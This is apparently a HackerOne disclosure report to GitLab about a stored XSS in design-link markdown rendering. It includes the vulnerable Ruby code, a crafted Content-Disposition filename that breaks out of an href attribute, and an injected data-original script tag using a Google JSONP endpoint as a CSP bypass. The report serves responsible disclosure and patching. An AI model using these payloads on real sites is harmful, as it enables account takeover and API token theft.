Stored XSS in markdown via the DesignReferenceFilter
HackerOne report #1212067 by vakzz on 2021-05-28, assigned to GitLab Team:
Report | Attachments | How To Reproduce
Report
Summary
When rendering markdown, links to designs are parsed using the following link_reference_pattern:
https://gitlab.com/gitlab-org/gitlab/-/blob/v13.12.1-ee/app/models/design_management/design.rb#L168
def self.link_reference_pattern
[@]link_reference_pattern ||= begin
path_segment = %r{issues/#{Gitlab::Regex.issue}/designs}
ext = Regexp.new(Regexp.union(SAFE_IMAGE_EXT + DANGEROUS_IMAGE_EXT).source, Regexp::IGNORECASE)
valid_char = %r{[^/\s]} # any char that is not a forward slash or whitespace
filename_pattern = %r{
(?<url_filename> #{valid_char}+ \. #{ext})
}x
super(path_segment, filename_pattern)
end
end
The url_filename match is then used in parse_symbol:
https://gitlab.com/gitlab-org/gitlab/-/blob/v13.12.1-ee/lib/banzai/filter/references/design_reference_filter.rb#L75
def parse_symbol(raw, match_data)
filename = match_data[:url_filename]
iid = match_data[:issue].to_i
Identifier.new(filename: CGI.unescape(filename), issue_iid: iid)
end
Since valid_char is anything apart from a forward slash or whitespace, this allows for any other special characters (such as quotes) to be matched.
The final url match gets used when creating the link in object_link_filter:
url =
if matches.names.include?("url") && matches[:url]
matches[:url]
else
url_for_object_cached(object, parent)
end
content = link_content || object_link_text(object, matches)
link = %(<a href="#{url}" #{data}
title="#{escape_once(title)}"
class="#{klass}">#{content}</a>)
So if a design could be uploaded with a double quote in it's filename, this would cause it to break out of the href attribute.
Normally file uploads would go through workhorse and end up being sanitized by CarrierWave::SanitizedFile, but it's possible when uploading a design to skip the workhorse by using a Content-Disposition header such as Content-Disposition: form-data; name="1"; filename*=ASCII-8BIT''filename.png which allows for any character to be used as part of the design filename.
Since whitespaces and slashes are still invalid, it's only possible to inject tags without attributes, or inject attributed into the a element.
Injecting attributes can be chained with the ReferenceRedactor to replace the node with arbitrary html via the data-original attribute:
https://gitlab.com/gitlab-org/gitlab/-/blob/v13.12.1-ee/lib/banzai/reference_redactor.rb#L77
def redacted_node_content(node)
original_content = node.attr('data-original')
link_reference = node.attr('data-link-reference')
# Build the raw <a> tag just with a link as href and content if
# it's originally a link pattern. We shouldn't return a plain text href.
original_link =
if link_reference == 'true'
href = node.attr('href')
content = original_content
%(<a href="#{href}">#{content}</a>)
end
For a CSP bypass, the jsonp endpoint of the google api can be used in combination with setTimeout:
https://apis.google.com/complete/search?client=chrome&q=alert(document.domain);//&callback=setTimeout
Steps to reproduce
- Create a new project on gitlab.com
- Create a new issue
- Make sure burp or similar is running
- Upload a new design
- Edit the request and change the Content-Disposition header to
Content-Disposition: form-data; name="1"; filename*=ASCII-8BIT''bbb%22class%3D%22gfm%22a%3D%27.png - Refresh the page, there should now be a design named
bbb"class="gfm"a='.png - Create a new issue using the design link and the inner html containing a quote:
<a href='https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb%22class%3D%22gfm%22a%3D%27.png'>
' vakzz=here
</a>
- Looking at the markup you can see the
aattribute contains everything up to the inner html and then the attributevakzzhas also been injected:
<a href="https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb" class="gfm" a=".png" data-original="
' vakzz=here
" data-link="true" data-link-reference="true" data-project="26924211" data-design="226146" data-issue="87875440" data-reference-type="design" data-container="body" data-placement="top"
title="bbb"class="gfm"a='.png"
class="gfm gfm-design has-tooltip">
" vakzz="here"></a>
- Create a new issue using the design link, this time including the required data attributed to trigger the
ReferenceRedactorand the payload html encoded in thedata-original:
<a href='https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb%22class%3D%22gfm%22a%3D%27.png'>
' data-design="1" data-issue="1" data-reference-type="design" data-original="
<script src='https://apis.google.com/complete/search?client=chrome&q=alert(document.domain);//&callback=setTimeout'></script>
"
</a>
- Save the issue and reload the page
Impact
Stored XSS with CSP bypass allowing arbitrary javascript to be run anywhere that markdown could be posted (issues, comments, etc). This could be used to create and exfiltrate api tokens with full access as described in https://hackerone.com/reports/1122227 targeting individuals or specific projects.
Examples
POC:
https://gitlab.com/vakzz-h1/design-xss/-/issues/3
What is the current bug behavior?
- The
AbstractReferenceFilteris generating thelinkusing string interpolation but theurlcould contain double quotes - The design model can have an arbitrary` attribute
What is the expected correct behavior?
- The url should be validated or escaped before being used
- The design model could probably have a validator for the filename
Relevant logs and/or screenshots
Output of checks
This bug happens on GitLab.com
Impact
Stored XSS with CSP bypass allowing arbitrary javascript to be run anywhere that markdown could be posted (issues, comments, etc). This could be used to create and exfiltrate api tokens with full access as described in https://hackerone.com/reports/1122227 targeting individuals or specific projects.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: